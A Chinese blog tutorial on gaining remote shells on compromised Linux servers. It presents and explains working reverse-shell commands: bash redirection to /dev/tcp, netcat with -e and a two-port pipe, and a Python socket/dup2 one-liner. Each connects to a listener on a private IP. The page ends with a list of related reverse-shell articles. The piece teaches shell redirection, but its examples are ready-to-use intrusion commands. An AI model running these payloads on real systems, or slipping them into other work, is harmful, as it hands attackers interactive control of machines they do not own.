Linux入侵 反弹shell
一.简介
黑入服务器很少会是通过账号密码的方式进入,因为这很难破解密码和很多服务器都做了限制白名单。
大多是通过上传脚本文件,然后执行脚本开启一个端口,通过那个端口来执行shell命令去操作,这样会非常安全很难被察觉。
二.命令
Bash反弹shell的实现: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
看到这短短的一行代码,正在复习Linux,自我感觉良好的我顿时充满了挫败感,这都是些什么鬼。于是决定一定要搞明白它。
首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
1. 标准输入 (stdin) :代码为 0 ,使用 < 或 <<
2. 标准输出 (stdout):代码为 1 ,使用 > 或 >>
3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
很多资料都会告诉我们,2>&1是将标准错误输出合并到标准输出中,但是这四个符号具体要如何理解呢?我刚开始直接将2>看做标准错误输出,将&看做and,将1看做标准输出。这样理解好像也挺对,但是如果是这样的话0>&1又该如何理解呢?
其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。
好了,基本知识说完了,下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先,我在查资料的过程中虽然没有查到“>&”究竟是什么,但是有一个跟它长得很像的符号却被我发现了,那就是“&>”,它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易?让我们来动手测试一下。

从图片中我们可以看到,在这里">&"和“&>”作用是一样的,都是将标准错误输出定向到标准输出中。
既然如此,那么我们就把他俩互换试试看,究竟结果一不一样。
我在虚拟机里执行 bash -i >& /dev/tcp/10.0.42.1/1234
结果如下图所示,虽然命令和结果都在我本机上显示出来了,但实际上命令并不是在本机上输入的,而是只能在虚拟机里面输入,然后命令和结果都在我本机上显示。


我们再执行 bash -i &> /dev/tcp/10.42.0.1/1234效果是一样的,就不上图了。所以由实践可知,“>&”和我们常见的“&>”是一个意思,都是将标准错误输出重定向到标注输出。
好了,一个问题已经解决,下一个就是“0>&1”。我们都知道,标准输入应该是“0<”而不是“0>”,难道这个跟上一个问题样都是同一个命令的不同写法?让我们试一下“0<&1”,看看会发生什么。


在上图中我们得到了一个交互的shell。果然是这样!“0>&1”和“0<&1”是一个意思,都是将标准输入重定向到标准输出中。使用 bash -i &> /dev/tcp/10.42.0.1 0<&1
同样能反弹一个可交互的shell。
综上所述,这句命令的意思就是,创建一个可交互的bash和一个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的进程。
三.NetCat
如果目标主机支持“-e”选项的话,我们就可以直接用 nc -e /bin/bash 10.42.0.1 1234
但当不支持时,我们就要用到Linux神奇的管道了。我们可以在自己机器上监听两个端口 nc -l -p 1234 -vv``nc -l -p 4321 -vv
然后在目标主机上执行以下命令: nc 10.42.0.1 1234 | /bin/bash | nc 10.42.0.1 4321
这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。
管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.42.0.1:4321显示。
python -c
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'
python -c表示执行后面的代码。首先引入了三个库socket,subprocess,os,这三个库后面都要用到,然后创建了一个使用TCP的socket,接着执行connect函数连接到黑客主机所监听的端口。接着执行os库的dup2函数来进行重定向。
dup2传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。
这个函数最大的作用是重定向。三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。最后建立了一个子进程,传入参数“-i”使bash以交互模式启动。这个时候我们的输入输出都会被重定向到socket,黑客就可以执行命令了。


我们可以看到成功的弹回了一个shell
Linux入侵 反弹shell的更多相关文章
- 从一次渗透谈到linux如何反弹shell
零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...
- 渗透测试中Linux下反弹shell的认识
最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- linux 常用反弹shell小记
在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux bash反弹shell原理引起的一点思考
最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
随机推荐
- 基于Netty4手把手实现一个带注册中心和注解的Dubbo框架
阅读这篇文章之前,建议先阅读和这篇文章关联的内容. 1. 详细剖析分布式微服务架构下网络通信的底层实现原理(图解) 2. (年薪60W的技巧)工作了5年,你真的理解Netty以及为什么要用吗?(深度干 ...
- OAuth 2.1 的进化之路
背景 2010年, OAuth 授权规范 1.0 (rfc 5849) 版本发布, 2年后, 更简单易用的 OAuth 2.0 规范发布(rfc 6749), 这也是大家最熟悉并且在互联网上使用最广泛 ...
- elasticsearch学习(1)
下载解压,elasticsearch.bat启动 elasticsearch目录: bin 启动文件config 配置文件 log4j2 日志配置文件 jvm.options java虚拟机相关的配置 ...
- 撸了一个可调试 gRPC 的 GUI 客户端
前言 平时大家写完 gRPC 接口后是如何测试的?往往有以下几个方法: 写单测代码,自己模拟客户端测试. 可以搭一个 gRPC-Gateway 服务,这样就可以在 postman 中进行模拟. 但这两 ...
- Codeforces 986D - Perfect Encoding(FFT+爪巴卡常题)
题面传送门 题意:给出 \(n\),构造出序列 \(b_1,b_2,\dots,b_m\) 使得 \(\prod\limits_{i=1}^mb_i\geq n\),求 \(\sum\limits_{ ...
- LeeCode刷题笔记
(本来想在LeeCode题目页面上做注释的,结果没找到位置,只好来这里了) 字符串部分: 14.最长公共前缀:编写一个函数来查找字符串数组中的最长公共前缀. 示例 1: 输入: ["flow ...
- BSA分析
目录 两种算法 1. 欧氏距离(ED)算法 2. SNP-index算法 实操 1. 上游分析 2. 下游分析 两种算法 1. 欧氏距离(ED)算法 mut与wt分别代表突变型混池.野生型混池,A.C ...
- 13 — springboot集成mybatis-plus — 更新完毕
1.mybatis-plus需要掌握的知识 1).mybatis-plus是什么? 不写了,老衲一般都是直接进官网 mybatis-plus官网地址:https://baomidou.com/guid ...
- C语言中的除法的计算
不用除号,计算除法运算.思路是使用减法运算!思路1:循环采用减法每次减去n,直到做完减法之后结果小于0为止 但是这样次数较大 如求100/3,需要次数为34次. 思路2:循环采用减法每次减去k,K的 ...
- 日常Java 2021/10/18
Vecter类实现了一个动态数组,不同于ArrayList的是,Vecter是同步访问的, Vecter主要用在事先不知道数组的大小或可以改变大小的数组 Vecter类支持多种构造方法:Vecter( ...